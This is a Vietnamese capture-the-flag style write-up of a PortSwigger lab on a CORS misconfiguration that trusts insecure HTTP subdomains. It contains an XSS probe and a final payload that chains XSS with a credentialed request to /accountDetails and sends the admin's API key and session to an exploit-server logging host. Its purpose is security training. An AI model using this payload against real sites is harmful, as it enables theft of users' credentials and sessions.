> For the complete documentation index, see [llms.txt](https://hieus-organization-25.gitbook.io/canhieu-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hieus-organization-25.gitbook.io/canhieu-writeup/cross-origin-resource-sharing-cors/cors-vulnerability-with-trusted-insecure-protocols.md).

# CORS vulnerability with trusted insecure protocols

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2FkQzXgB60IXMIF7GP9v5a%2Fimage.png?alt=media&amp;token=2f022827-538f-436d-b173-0b1cd9b5a542" alt=""><figcaption></figcaption></figure>

## ANALYZE

* **Loại lỗi**: CORS Misconfiguration (Cấu hình sai CORS)
* **Vị trí lỗi**: Chấp nhận mọi subdomain kể cả khi dùng HTTP (insecure protocol)
* **Cách khai thác**:
  * Dùng **subdomain HTTP** để gửi yêu cầu CORS chứa `credentials: include`
  * Server gốc **chấp nhận origin không an toàn**
* **Mục tiêu**: Trích xuất **API key của admin** từ endpoint nhạy cảm (ví dụ `/accountDetails`)
* **Cách giải quyết**: Host mã JavaScript độc hại trên subdomain HTTP và **dụ admin truy cập**.

## EXPLOIT

Ta sẽ tiến hành đăng nhập và truy cập vào endpoint `/accountDetails`

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2FCGRAPLWeYnY0WvGOoNdw%2Fimage.png?alt=media&amp;token=a4f78622-820e-43a2-94b4-95e93dc77191" alt=""><figcaption></figcaption></figure>

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2FMI0zRYKTPLMkgMFkklaC%2Fimage.png?alt=media&amp;token=435e4de8-942c-414d-b662-f342b1699ea7" alt=""><figcaption></figcaption></figure>

Theo như đề bài , thì trang này tin cậy mọi loại subdomain mà ko hề kiểm tra&#x20;

Vậy nên tôi sẽ thử chèn 1 subdomain lạ vào url để xem phản hồi :&#x20;

```
Origin: http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net
```

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2Fv1Dm3foMx2AnQNbhzDay%2Fimage.png?alt=media&amp;token=a2c5c109-7675-47c7-b74f-c8d92e18f8a6" alt=""><figcaption></figcaption></figure>

kết quả trả về :&#x20;

```
Access-Control-Allow-Origin: http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net
Access-Control-Allow-Credentials: true
```

⇒ CORS chấp nhận origin HTTP subdomain

Tiếp theo tôi sẽ thử với 1 payload để kiểm tra xem có lỗ hổng XSS ko :&#x20;

```
http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net/?productId=<script>alert(1)</script>&storeId=1
```

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2F8khTt6FBqICMQ1zSs5lv%2Fimage.png?alt=media&amp;token=cc83625f-12d2-4746-b4c7-f79e7dd910c5" alt=""><figcaption></figcaption></figure>

Vậy nên payload cuối cùng để hoàn thành bài sẽ là :&#x20;

```
<script>
    document.location="http://stock.0a9f009a03efc60980d308b4004900f3.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a9f009a03efc60980d308b4004900f3.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0aac00ea0364c6528050070401ef00bd.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
```

Và Ta đã nhận được \` key\`  từ admin

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2FoowI4oHRC5XxkFn9jEG5%2Fimage.png?alt=media&amp;token=111de383-6fff-4f36-8181-73601e43f842" alt=""><figcaption></figcaption></figure>

khi decode thì ta nhận được là :&#x20;

```
  "username": "administrator",  "email": "",  "apikey": "KCDzq8T56UmIQImNHdezBWqngmOXunbA",  "sessions": [    "B3pINC9dNi2oaHyzlBGDgBJszwEQDZ4Y"  ]
```

<figure><img src="https://72622846-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FST7K2f2oRZDa2W9WKOg1%2Fuploads%2FHosBl37MHsuc6IzKWzVM%2Fimage.png?alt=media&amp;token=641eeecb-20b3-4e84-9b5d-4fc1db8c4b90" alt=""><figcaption></figcaption></figure>
